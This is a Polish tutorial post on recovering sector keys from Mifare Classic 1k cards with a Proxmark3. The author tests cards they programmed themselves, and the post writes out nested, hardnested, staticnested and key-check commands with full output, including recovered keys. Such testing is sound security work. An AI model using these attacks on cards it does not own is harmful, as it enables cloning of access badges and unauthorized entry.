W tym poście chciałbym pokazać w jaki sposób uzyskać dostęp do danych zapisanych na kartach Mifare Classic 1k. Wykorzystując do tego celu czytnik Proxmark3 Easy.
Przygotuję kartę testową z wykorzystaniem programu Mifare Classic Tool.
W celu konfiguracji bitów kontrolnych, można wykorzystać np. takie narzędzie online. (http://calc.gmss.ru/Mifare1k/)
Najpierw zabezpieczę sektor 5 losowym kluczem i zobaczę jak szybko uda mi się odczytać dane z tego sektora. Na karcie wykonałem przywrócenie ustawień fabrycznych.
Wygenerowałem losowe klucze. Format bloku 3 sektora 5 wygląda następująco:
- D6FCF08714DE FF078069 EF63B6EC9877
Do tego wprowadzam jakieś przykładowe dane do sektora 5 blok 0.
Karta odczytana programem Mifare Classic Tool wygląda po zmianach następująco:
Jak wspomniałem wcześniej jedyną zmianą jest sektor 5. Teraz przejdźmy do Proxmark3.
Poniżej informacje o wersji sprzętowej oraz charakterystyki anteny czytnika:
Został znaleziony jeden tag z numerem seryjnym 0038B11F. Karta natomiast ma możliwość edycji boku 0 w sektorze 0, ponieważ jest to tzw. Magic Card Gen 1A. W przypadku tej karty Peng detection (pseudorandom number generation) jest wyświetlany jako weak. Wobec tego ataki typu darkside lub nested powinny dać sobie z tą kartą radę. W przypadku typu hardened lub hard ataki mogą nie przynieść oczekiwanego rezultatu.
Przy pierwszej próbie odczytu, zostały załadowane domyślne 56 kluczy. Wykorzystałem komendę hf mf chk (test block keys). Wykonuje ona odczytanie danych z sektorów, za pomocą metody BruteForce. Testuje na 56 kluczach zapisanych w pamięci programu:
Jak widać na screenie powyżej nie udało się dopasować poprawnych kluczy do sektora 5. Plik z kluczami nie zawiera domyślnego klucza do sektora, z tego powodu nie udało się uzyskać dostępu do żadnego z sektorów.
Można też oczywiście zdefiniować własne pliki, na których będą przechowywane nasze klucze.
Ogólnie uważam, że dobrą praktyką jest testowanie przygotowanych przez siebie kart, jeśli mają one posiadać klucze indywidualne, na takich narzędziach. Pozwoli to na zweryfikowanie, czy jakimś cudem klucz, który chcemy wykorzystać, nie jest już ogólnie stosowany. Przez co uzyskanie dostępu do naszej karty, będzie znacznie ułatwione (np. z wykorzystaniem telefonu komórkowego, bez konieczności posiadania bardziej dedykowanego sprzętu). Do tego celu z powodzeniem można wykorzystać program Mifare Classic Tool, który zawiera całkiem pokaźną bazę domyślnych kluczy.
Druga komenda czyli hf mf fchk też dała podobny efekt:
Ta komenda pozwoliła nam na wyciągnięcie brakujących kluczy. Po tej operacji zostanie utworzony plik w folderze .../pm3/hf-mf-003BB11F-dump.json, *.bin. W którym zostały zapisane dane jakie znajdują się na karcie. Poniżej część tego pliku.
- {
- "Created": "proxmark3",
- "FileType": "mfc v2",
- "Card": {
- "UID": "003BB11F",
- "ATQA": "0400",
- "SAK": "08"
- },
- "blocks": {
- "0": "003BB11F950804006263646566676869",
- "1": "00000000000000000000000000000000",
- "2": "00000000000000000000000000000000",
- "3": "FFFFFFFFFFFFFF078069FFFFFFFFFFFF",
- "4": "00000000000000000000000000000000",
- "5": "00000000000000000000000000000000",
- "6": "00000000000000000000000000000000",
- "7": "FFFFFFFFFFFFFF078069FFFFFFFFFFFF",
- "8": "00000000000000000000000000000000",
- "9": "00000000000000000000000000000000",
- "10": "00000000000000000000000000000000",
- "11": "FFFFFFFFFFFFFF078069FFFFFFFFFFFF",
- "12": "00000000000000000000000000000000",
- "13": "00000000000000000000000000000000",
- "14": "00000000000000000000000000000000",
- "15": "FFFFFFFFFFFFFF078069FFFFFFFFFFFF",
- "16": "00000000000000000000000000000000",
- "17": "00000000000000000000000000000000",
- "18": "00000000000000000000000000000000",
- "19": "FFFFFFFFFFFFFF078069FFFFFFFFFFFF",
- "20": "12345678901234567890123456789013",
- "21": "00000000000000000000000000000000",
- "22": "00000000000000000000000000000000",
- "23": "D6FCF08714DEFF078069EF63B6EC9877",
- "24": "00000000000000000000000000000000",
- "25": "00000000000000000000000000000000",
- "26": "00000000000000000000000000000000",
- "27": "FFFFFFFFFFFFFF078069FFFFFFFFFFFF",
- "28": "00000000000000000000000000000000",
- "29": "00000000000000000000000000000000",
- "30": "00000000000000000000000000000000",
- "31": "FFFFFFFFFFFFFF078069FFFFFFFFFFFF",
- "32": "00000000000000000000000000000000",
- "33": "00000000000000000000000000000000",
- "34": "00000000000000000000000000000000",
- "35": "FFFFFFFFFFFFFF078069FFFFFFFFFFFF",
- "36": "00000000000000000000000000000000",
- "37": "00000000000000000000000000000000",
- "38": "00000000000000000000000000000000",
- "39": "FFFFFFFFFFFFFF078069FFFFFFFFFFFF",
- "40": "00000000000000000000000000000000",
- "41": "00000000000000000000000000000000",
- "42": "00000000000000000000000000000000",
- "43": "FFFFFFFFFFFFFF078069FFFFFFFFFFFF",
- "44": "00000000000000000000000000000000",
- "45": "00000000000000000000000000000000",
- "46": "00000000000000000000000000000000",
- "47": "FFFFFFFFFFFFFF078069FFFFFFFFFFFF",
- "48": "00000000000000000000000000000000",
- "49": "00000000000000000000000000000000",
- "50": "00000000000000000000000000000000",
- "51": "FFFFFFFFFFFFFF078069FFFFFFFFFFFF",
- "52": "00000000000000000000000000000000",
- "53": "00000000000000000000000000000000",
- "54": "00000000000000000000000000000000",
- "55": "FFFFFFFFFFFFFF078069FFFFFFFFFFFF",
- "56": "00000000000000000000000000000000",
- "57": "00000000000000000000000000000000",
- "58": "00000000000000000000000000000000",
- "59": "FFFFFFFFFFFFFF078069FFFFFFFFFFFF",
- "60": "00000000000000000000000000000000",
- "61": "00000000000000000000000000000000",
- "62": "00000000000000000000000000000000",
- "63": "FFFFFFFFFFFFFF078069FFFFFFFFFFFF"
- },
- "SectorKeys": {
- "0": {
- "KeyA": "FFFFFFFFFFFF",
- "KeyB": "FFFFFFFFFFFF",
- "AccessConditions": "FF078069",
- "AccessConditionsText": {
- "block0": "read AB; write AB; increment AB; decrement transfer restore AB",
- "block1": "read AB; write AB; increment AB; decrement transfer restore AB",
- "block2": "read AB; write AB; increment AB; decrement transfer restore AB",
- "block3": "write A by A; read/write ACCESS by A; read/write B by A",
- "UserData": "69"
- }
- },
- "1": {
- "KeyA": "FFFFFFFFFFFF",
- "KeyB": "FFFFFFFFFFFF",
- "AccessConditions": "FF078069",
- "AccessConditionsText": {
- "block4": "read AB; write AB; increment AB; decrement transfer restore AB",
- "block5": "read AB; write AB; increment AB; decrement transfer restore AB",
- "block6": "read AB; write AB; increment AB; decrement transfer restore AB",
- "block7": "write A by A; read/write ACCESS by A; read/write B by A",
- "UserData": "69"
- }
- },
- "2": {
- "KeyA": "FFFFFFFFFFFF",
- "KeyB": "FFFFFFFFFFFF",
- "AccessConditions": "FF078069",
- "AccessConditionsText": {
- "block8": "read AB; write AB; increment AB; decrement transfer restore AB",
- "block9": "read AB; write AB; increment AB; decrement transfer restore AB",
- "block10": "read AB; write AB; increment AB; decrement transfer restore AB",
- "block11": "write A by A; read/write ACCESS by A; read/write B by A",
- "UserData": "69"
- }
- },
- "3": {
- "KeyA": "FFFFFFFFFFFF",
- "KeyB": "FFFFFFFFFFFF",
- "AccessConditions": "FF078069",
- "AccessConditionsText": {
- "block12": "read AB; write AB; increment AB; decrement transfer restore AB",
- "block13": "read AB; write AB; increment AB; decrement transfer restore AB",
- "block14": "read AB; write AB; increment AB; decrement transfer restore AB",
- "block15": "write A by A; read/write ACCESS by A; read/write B by A",
- "UserData": "69"
- }
- },
- "4": {
- "KeyA": "FFFFFFFFFFFF",
- "KeyB": "FFFFFFFFFFFF",
- "AccessConditions": "FF078069",
- "AccessConditionsText": {
- "block16": "read AB; write AB; increment AB; decrement transfer restore AB",
- "block17": "read AB; write AB; increment AB; decrement transfer restore AB",
- "block18": "read AB; write AB; increment AB; decrement transfer restore AB",
- "block19": "write A by A; read/write ACCESS by A; read/write B by A",
- "UserData": "69"
- }
- },
- "5": {
- "KeyA": "D6FCF08714DE",
- "KeyB": "EF63B6EC9877",
- "AccessConditions": "FF078069",
- "AccessConditionsText": {
- "block20": "read AB; write AB; increment AB; decrement transfer restore AB",
- "block21": "read AB; write AB; increment AB; decrement transfer restore AB",
- "block22": "read AB; write AB; increment AB; decrement transfer restore AB",
- "block23": "write A by A; read/write ACCESS by A; read/write B by A",
- "UserData": "69"
- }
- },
Jak widać powyżej dane z wszystkich sektorów zostały odczytane. Razem z danymi dotyczącymi zabezpieczonego sektora 5. Całość zajęła poniżej 1 minuty i nie wymagała specjalnie dużo wysiłku.
Teraz spróbuję zabezpieczyć każdy sektor jaki jest dostępny na karcie losowym kluczem. Każdy sektor ma wprowadzony indywidualny klucz. Podobnie jak poprzednio wykorzystam do tego celu program Mifare Classic Tool.
Poniżej lista zastosowanych kluczy dla każdego sektora karty Mifare Classic 1k.
- 00 - DA99871DC5E4 7BC6E7BFE085
- 01 - 94F906BEF571 4ECD92B8C45D
- 02 - DD523D494104 9F893FA140C4
- 03 - 27C844CD770C 1BF96012B2A3
- 04 - 44CD1CA09AB5 C8AE2B84F86F
- 05 - 77715642F5A5 C9125E6EE40B
- 06 - A5736B7EFE59 E2C3C6E8D31E
- 07 - F4D48B525BDA CD4220FA191A
- 08 - 8C02CD5E7E05 6664BE32FD1A
- 09 - A89581FE05F7 674C25691451
- 10 - A5474F99C4AE B407BDD1B160
- 11 - 042DDB3277B5 C87A09035983
- 12 - 13E76046FC18 997B77CEE136
- 13 - FEF7587DE5EE 50687863A3B9
- 14 - 34B537834116 35AFC49A5EAB
- 15 - 2967C9FD23B3 F89E24602439
Poniżej screen z przygotowanej karty.
Teraz przejdę przez komendy zastosowane wcześniej.
Wyszukanie karty:
Jak widać nie udało się uzyskać nawet jednego klucza do sektora.
Jeśli byśmy chcieli wykorzystać tzw. Nasted Attack, którego struktura komendy wygląda następująco:
- hf mf nested --1k --blk 0 -a -k FFFFFFFFFFFF
gdzie:
--1k - rodzaj pamięci karty
--blk - numer bloku
-a - rodzaj klucza a lub b.
-k - klucz do sektora
to należy znać klucz dostępu do jednego z sektorów.
Mifare darkside attack wykonany z urządzenia proxmark3 też nie przynosi żadnych rezultatów.
Oczywiście nie oznacza to, że karta jest teraz bezpieczna. Takie zabezpieczenie pozwoli maksymalnie utrudnić uzyskanie do niej dostępu. Jedną z metod jest np. Brute Force, czyli testowanie wszystkich możliwych kluczy, niestety ten atak jest dosyć czasochłonny i wymaga trochę szczęścia. Innym sposobem jest wykorzystanie metody sniff, czyli umieszczamy czytnik proxmark pomiędzy kartą a czytnikiem i podpatrzenia komunikacji między nimi. Wymaga to oczywiście posiadania czytnika, która będzie znał klucze dostępu do sektora/sektrów na karcie.
Teraz spróbuje wykorzystać Nested Attack, podając do aplikacji klucz do sektora 0.
- hf mf nested --1k --blk 0 -a -k DA99871DC5E4
Teraz wynik jest zupełnie inny:
- [usb] pm3 --> hf mf nested --1k --blk 0 -a -k DA99871DC5E4
- [+] Testing known keys. Sector count 16
- [=] ....
- [=] Chunk 9.6s | found 2/32 keys (57)
- [+] Time to check 56 known keys: 10 seconds
- [+] enter nested key recovery
- [+] Found 2 key candidates
- [-] 0/2 keys | 11.2 keys/sec | worst case 0.2 seconds remaining
- [+] Target block 4 key type A
- [+] Found 1 key candidates
- [+] Target block 4 key type A -- found valid key [ 94F906BEF571 ]
- [=] Chunk 0.5s | found 2/32 keys (1)
- [+] Found 1 key candidates
- [+] Target block 8 key type A -- found valid key [ DD523D494104 ]
- [=] Chunk 0.5s | found 2/32 keys (1)
- [+] Found 1 key candidates
- [+] Target block 12 key type A -- found valid key [ 27C844CD770C ]
- [=] Chunk 0.5s | found 2/32 keys (1)
- [+] Found 1 key candidates
- [+] Target block 16 key type A -- found valid key [ 44CD1CA09AB5 ]
- [=] Chunk 0.5s | found 2/32 keys (1)
- [+] Found 1 key candidates
- [+] Target block 20 key type A -- found valid key [ 77715642F5A5 ]
- [=] Chunk 0.5s | found 2/32 keys (1)
- [+] Found 1 key candidates
- [+] Target block 24 key type A -- found valid key [ A5736B7EFE59 ]
- [=] Chunk 0.5s | found 2/32 keys (1)
- [+] Found 1 key candidates
- [+] Target block 28 key type A -- found valid key [ F4D48B525BDA ]
- [=] Chunk 0.5s | found 2/32 keys (1)
- [+] Found 1 key candidates
- [+] Target block 32 key type A -- found valid key [ 8C02CD5E7E05 ]
- [=] Chunk 0.5s | found 2/32 keys (1)
- [+] Found 3 key candidates
- [\] 0/3 keys | 18.2 keys/sec | worst case 0.2 seconds remaining
- [+] Target block 36 key type A
- [+] Found 1 key candidates
- [+] Target block 36 key type A -- found valid key [ A89581FE05F7 ]
- [=] Chunk 0.5s | found 2/32 keys (1)
- [+] Found 1 key candidates
- [+] Target block 40 key type A -- found valid key [ A5474F99C4AE ]
- [=] Chunk 0.5s | found 2/32 keys (1)
- [+] Found 1 key candidates
- [+] Target block 44 key type A -- found valid key [ 042DDB3277B5 ]
- [=] Chunk 0.5s | found 2/32 keys (1)
- [+] Found 1 key candidates
- [+] Target block 48 key type A -- found valid key [ 13E76046FC18 ]
- [=] Chunk 0.5s | found 2/32 keys (1)
- [+] Found 1 key candidates
- [+] Target block 52 key type A -- found valid key [ FEF7587DE5EE ]
- [=] Chunk 0.5s | found 2/32 keys (1)
- [+] Found 1 key candidates
- [+] Target block 56 key type A -- found valid key [ 34B537834116 ]
- [=] Chunk 0.5s | found 2/32 keys (1)
- [+] Found 1 key candidates
- [+] Target block 60 key type A -- found valid key [ 2967C9FD23B3 ]
- [=] Chunk 0.5s | found 2/32 keys (1)
- [+] time in nested 27 seconds
- [=] trying to read key B...
- [+] found keys:
- [+] -----+-----+--------------+---+--------------+----
- [+] Sec | Blk | key A |res| key B |res
- [+] -----+-----+--------------+---+--------------+----
- [+] 000 | 003 | DA99871DC5E4 | 1 | 7BC6E7BFE085 | 1
- [+] 001 | 007 | 94F906BEF571 | 1 | 4ECD92B8C45D | 1
- [+] 002 | 011 | DD523D494104 | 1 | 9F893FA140C4 | 1
- [+] 003 | 015 | 27C844CD770C | 1 | 1BF96012B2A3 | 1
- [+] 004 | 019 | 44CD1CA09AB5 | 1 | C8AE2B84F86F | 1
- [+] 005 | 023 | 77715642F5A5 | 1 | C9125E6EE40B | 1
- [+] 006 | 027 | A5736B7EFE59 | 1 | E2C3C6E8D31E | 1
- [+] 007 | 031 | F4D48B525BDA | 1 | CD4220FA191A | 1
- [+] 008 | 035 | 8C02CD5E7E05 | 1 | 6664BE32FD1A | 1
- [+] 009 | 039 | A89581FE05F7 | 1 | 674C25691451 | 1
- [+] 010 | 043 | A5474F99C4AE | 1 | B407BDD1B160 | 1
- [+] 011 | 047 | 042DDB3277B5 | 1 | C87A09035983 | 1
- [+] 012 | 051 | 13E76046FC18 | 1 | 997B77CEE136 | 1
- [+] 013 | 055 | FEF7587DE5EE | 1 | 50687863A3B9 | 1
- [+] 014 | 059 | 34B537834116 | 1 | 35AFC49A5EAB | 1
- [+] 015 | 063 | 2967C9FD23B3 | 1 | F89E24602439 | 1
- [+] -----+-----+--------------+---+--------------+----
- [+] ( 0:Failed / 1:Success )
Do komendy autopwn także można podać klucz do jednego z sektorów. Efekt będzie taki sam jak w przypadku komendy powyżej.
Jak widać, znając tylko jeden klucz do sektora, udało się uzyskać dostęp do całej karty.
Kolejnym atakiem jest hardnested. Pozwoli on na wyciągnięcie danych z karty bez podawania żadnego klucza:
- [usb] pm3 --> hf mf hardnested -t
- [=] Target block no 0, target key type: A, known target key: 000000000000 (not set)
- [=] File action: none, Slow: No, Tests: 1
- [=] Hardnested attack starting...
- [=] ---------+---------+---------------------------------------------------------+-----------------+-------
- [=] | | | Expected to brute force
- [=] Time | #nonces | Activity | #states | time
- [=] ---------+---------+---------------------------------------------------------+-----------------+-------
- [=] 0 | 0 | Start using 8 threads and AVX2 SIMD core | |
- [=] 0 | 0 | Brute force benchmark: 1059 million (2^30,0) keys/s | 140737488355328 | 2d
- [=] 0 | 0 | Starting Test #1 ... | 140737488355328 | 2d
- [=] 4 | 0 | Loaded 0 RAW / 351 LZ4 / 0 BZ2 in 3982 ms | 140737488355328 | 2d
- [=] 4 | 0 | Using 239 precalculated bitflip state tables | 140737488355328 | 2d
- [=] 7 | 0 | Simulating key e04b0f2a895d, cuid bc9baf10 ... | 140737488355328 | 2d
- [=] 8 | 112 | Apply bit flip properties | 652775194624 | 10min
- [=] 9 | 225 | Apply bit flip properties | 198228410368 | 3min
- [=] 10 | 338 | Apply bit flip properties | 190208491520 | 3min
- [=] 11 | 449 | Apply bit flip properties | 190208491520 | 3min
- [=] 12 | 560 | Apply bit flip properties | 190208491520 | 3min
- [=] 13 | 673 | Apply bit flip properties | 190208491520 | 3min
- [=] 13 | 782 | Apply bit flip properties | 190208491520 | 3min
- [=] 14 | 895 | Apply bit flip properties | 190208491520 | 3min
- [=] 14 | 1007 | Apply bit flip properties | 190208491520 | 3min
- [=] 14 | 1113 | Apply bit flip properties | 190208491520 | 3min
- [=] 14 | 1222 | Apply bit flip properties | 190208491520 | 3min
- [=] 14 | 1333 | Apply bit flip properties | 190208491520 | 3min
- [=] 14 | 1445 | Apply bit flip properties | 190208491520 | 3min
- [=] 16 | 1556 | Apply Sum property. Sum(a0) = 160 | 13292086272 | 13s
- [=] 16 | 1666 | Apply bit flip properties | 9714212864 | 9s
- [=] 17 | 1773 | Apply bit flip properties | 8953481216 | 8s
- [=] 17 | 1883 | Apply bit flip properties | 8000171520 | 8s
- [=] 17 | 1993 | Apply bit flip properties | 8000171520 | 8s
- [=] 17 | 1993 | (1. guess: Sum(a8) = 256) | 8000171520 | 8s
- [=] 17 | 1993 | (Estimated Sum(a8) is WRONG! Correct Sum(a8) = 192) | 8000171520 | 8s
- [=] 17 | 1993 | Apply Sum(a8) and all bytes bitflip properties | 8000161280 | 8s
- [=] 17 | 1993 | (Test: Key NOT found) | 0 | 0s
- [=] 17 | 1993 | (2. guess: Sum(a8) = 192) | 14022669312 | 13s
- [=] 18 | 1993 | Apply Sum(a8) and all bytes bitflip properties | 13004030976 | 12s
- [=] 18 | 1993 | (Test: Key found) | 0 | 0s
- [=] 18 | 1993 | Brute force phase completed. Key found: E04B0F2A895D | 0 | 0s
Jak widać udało się uzyskać jeden z kluczy tj. E04B0F2A895D. Tylko, że nie jest to poprawny klucz do żadnego z sektorów. Kilkukrotnie uruchomiłem ten atak, za każdym razem otrzymywałem różne klucze, które nie były poprawne do żadnego z sektorów. Dodatkowo znaleziony klucz jest identyczny jak klucz opisany jako Simulating.
- [usb] pm3 --> hf mf hardnested --tblk 36 --ta
- [=] Target block no 36, target key type: A, known target key: 000000000000 (not set)
- [=] File action: none, Slow: No, Tests: 1
- [=] Hardnested attack starting...
- [=] ---------+---------+---------------------------------------------------------+-----------------+-------
- [=] | | | Expected to brute force
- [=] Time | #nonces | Activity | #states | time
- [=] ---------+---------+---------------------------------------------------------+-----------------+-------
- [=] 0 | 0 | Start using 8 threads and AVX2 SIMD core | |
- [=] 0 | 0 | Brute force benchmark: 1398 million (2^30,4) keys/s | 140737488355328 | 28h
- [=] 0 | 0 | Starting Test #1 ... | 140737488355328 | 28h
- [=] 3 | 0 | Loaded 0 RAW / 351 LZ4 / 0 BZ2 in 2691 ms | 140737488355328 | 28h
- [=] 3 | 0 | Using 239 precalculated bitflip state tables | 140737488355328 | 28h
- [=] 4 | 0 | Simulating key a11e109009d5, cuid 5128ea42 ... | 140737488355328 | 28h
- [=] 5 | 112 | Apply bit flip properties | 9423541248 | 7s
- [=] 6 | 225 | Apply bit flip properties | 1257490560 | 1s
- [=] 7 | 338 | Apply bit flip properties | 224777280 | 0s
- [=] 8 | 449 | Apply bit flip properties | 209677920 | 0s
- [=] 9 | 561 | Apply bit flip properties | 209677920 | 0s
- [=] 9 | 674 | Apply bit flip properties | 209677920 | 0s
- [=] 10 | 785 | Apply bit flip properties | 209677920 | 0s
- [=] 10 | 897 | Apply bit flip properties | 209677920 | 0s
- [=] 10 | 1009 | Apply bit flip properties | 209677920 | 0s
- [=] 10 | 1120 | Apply bit flip properties | 209677920 | 0s
- [=] 10 | 1232 | Apply bit flip properties | 209677920 | 0s
- [=] 10 | 1341 | Apply bit flip properties | 209677920 | 0s
- [=] 10 | 1449 | Apply bit flip properties | 209677920 | 0s
- [=] 10 | 1561 | Apply bit flip properties | 209677920 | 0s
- [=] 10 | 1670 | Apply bit flip properties | 209677920 | 0s
- [=] 11 | 1781 | Apply Sum property. Sum(a0) = 112 | 3522960 | 0s
- [=] 11 | 1781 | (Ignoring Sum(a8) properties) | 3522960 | 0s
- [=] 11 | 1781 | (Test: Key found) | 0 | 0s
- [=] 11 | 1781 | Brute force phase completed. Key found: A11E109009D5 | 0 | 0s
Niestety pomimo wielu prób nie udało mi się uzyskać poprawnego klucza do sektora.
Poniżej sprawdzę jeszcze możliwość odczytu karty standardowej, nie Magic Gen 1A. Zaprogramuje na niej wszystkie sektory losowymi kluczami.
- [usb] pm3 --> hf search
- [-] Searching for ISO14443-A tag...
- [+] UID: 92 44 4C E4
- [+] ATQA: 00 04
- [+] SAK: 08 [2]
- [+] Possible types:
- [+] MIFARE Classic 1K
- [=] proprietary non iso14443-4 card found, RATS not supported
- [+] Prng detection: weak
- [#] Auth error
- [?] Hint: try `hf mf` commands
Po zaprogramowaniu sektorów na karcie, nie udało mi się uzyskać klucza do żadnego z nich. Korzystałem ze sposobów opisanych powyżej.
- [usb] pm3 --> hf mf chk
- [+] loaded 56 keys from hardcoded default array
- [=] Start check for keys...
- [=] .................................
- [=] time in checkkeys 14 seconds
- [=] testing to read key B...
- [+] found keys:
- [+] -----+-----+--------------+---+--------------+----
- [+] Sec | Blk | key A |res| key B |res
- [+] -----+-----+--------------+---+--------------+----
- [+] 000 | 003 | ------------ | 0 | ------------ | 0
- [+] 001 | 007 | ------------ | 0 | ------------ | 0
- [+] 002 | 011 | ------------ | 0 | ------------ | 0
- [+] 003 | 015 | ------------ | 0 | ------------ | 0
- [+] 004 | 019 | ------------ | 0 | ------------ | 0
- [+] 005 | 023 | ------------ | 0 | ------------ | 0
- [+] 006 | 027 | ------------ | 0 | ------------ | 0
- [+] 007 | 031 | ------------ | 0 | ------------ | 0
- [+] 008 | 035 | ------------ | 0 | ------------ | 0
- [+] 009 | 039 | ------------ | 0 | ------------ | 0
- [+] 010 | 043 | ------------ | 0 | ------------ | 0
- [+] 011 | 047 | ------------ | 0 | ------------ | 0
- [+] 012 | 051 | ------------ | 0 | ------------ | 0
- [+] 013 | 055 | ------------ | 0 | ------------ | 0
- [+] 014 | 059 | ------------ | 0 | ------------ | 0
- [+] 015 | 063 | ------------ | 0 | ------------ | 0
- [+] -----+-----+--------------+---+--------------+----
- [+] ( 0:Failed / 1:Success )
Po wywołaniu wielu komend w najróżniejszej konfiguracji nie udało mi się kluczy do sektorów. Co w zasadzie pozwala na stwierdzenie, że zwykła karta Mifare. Na której zostały zakodowane wszystkie sektory, jest trudniejsza do złamania danych niż Mifare EV1. Karta EV1 jest opisana tutaj.
Można jeszcze spotkać kartę z tzw Static nonce. Jest to liczba wykorzystywana w celu zabezpieczenia komunikacji pomiędzy czytnikiem a kartą mifare. Static oznacza, że jest to wartość stała w każdej sesji komunikacyjnej, a przynajmniej przez dłuższy czas. Najlepiej gdy ta wartość jest losowa, ponieważ zapewni to lepsze zabezpieczenia komunikacji.
- [usb] pm3 --> hf search
- [-] Searching for ISO14443-A tag...
- [+] UID: 5E 10 07 BB
- [+] ATQA: 00 04
- [+] SAK: 08 [2]
- [+] Possible types:
- [+] MIFARE Classic 1K
- [=] proprietary non iso14443-4 card found, RATS not supported
- [#] 1 static nonce 01200145
- [+] Static nonce: yes
- [#] Auth error
- [?] Hint: try `hf mf` commands
- [+] Valid ISO 14443-A tag found
W przypadku takiej karty nie można użyć standardowego ataku nested. Należy użyć zmodyfikowanej wersji o nazwie staticnested:
- [usb] pm3 --> hf mf nested --blk 0 -a -k FFFFFFFFFFFF --tblk 3 --ta
- [#] 1 static nonce 01200145
- [!] Static nonce detected. Quitting...
- [=] Try use `hf mf staticnested`
- [usb] pm3 --> hf mf staticnested --1k --blk 12 -a -k FFFFFFFFFFFF
- [#] 1 static nonce 01200145
- [+] Testing known keys. Sector count 16
- [=] Chunk 1,5s | found 28/32 keys (57)
- [+] Time to check 56 known keys: 2 seconds
- [+] enter static nested key recovery
- [+] Found 1 key candidates
- [+] target block 36 key type A -- found valid key [ BF571301167D ]
- [+] Found 1 key candidates
- [+] target block 40 key type A -- found valid key [ BF571301167D ]
- [+] Found 1 key candidates
- [+] target block 36 key type B -- found valid key [ 01167DBF5713 ]
- [+] Found 1 key candidates
- [+] target block 40 key type B -- found valid key [ 01167DBF5713 ]
- [+] time in static nested 4 seconds
- [=] trying to read key B...
- [+] found keys:
- [+] -----+-----+--------------+---+--------------+----
- [+] Sec | Blk | key A |res| key B |res
- [+] -----+-----+--------------+---+--------------+----
- [+] 000 | 003 | FFFFFFFFFFFF | 1 | FFFFFFFFFFFF | 1
- [+] 001 | 007 | FFFFFFFFFFFF | 1 | FFFFFFFFFFFF | 1
- [+] 002 | 011 | FFFFFFFFFFFF | 1 | FFFFFFFFFFFF | 1
- [+] 003 | 015 | FFFFFFFFFFFF | 1 | FFFFFFFFFFFF | 1
- [+] 004 | 019 | FFFFFFFFFFFF | 1 | FFFFFFFFFFFF | 1
- [+] 005 | 023 | FFFFFFFFFFFF | 1 | FFFFFFFFFFFF | 1
- [+] 006 | 027 | FFFFFFFFFFFF | 1 | FFFFFFFFFFFF | 1
- [+] 007 | 031 | FFFFFFFFFFFF | 1 | FFFFFFFFFFFF | 1
- [+] 008 | 035 | FFFFFFFFFFFF | 1 | FFFFFFFFFFFF | 1
- [+] 009 | 039 | 6382E7AB3498 | 1 | 6E0AB36C3D7E | 1
- [+] 010 | 043 | A5474F99C4AE | 1 | B407BDD1B160 | 1
- [+] 011 | 047 | FFFFFFFFFFFF | 1 | FFFFFFFFFFFF | 1
- [+] 012 | 051 | FFFFFFFFFFFF | 1 | FFFFFFFFFFFF | 1
- [+] 013 | 055 | FFFFFFFFFFFF | 1 | FFFFFFFFFFFF | 1
- [+] 014 | 059 | FFFFFFFFFFFF | 1 | FFFFFFFFFFFF | 1
- [+] 015 | 063 | FFFFFFFFFFFF | 1 | FFFFFFFFFFFF | 1
- [+] -----+-----+--------------+---+--------------+----
- [+] ( 0:Failed / 1:Success )
Tutaj podobnie jak wcześniej po zaprogramowaniu części sektorów klucze udało się uzyskać dosyć szybko. Po zaprogramowaniu wszystkich sektorów uzyskanie klucza opisanymi tutaj metodami było niemożliwe.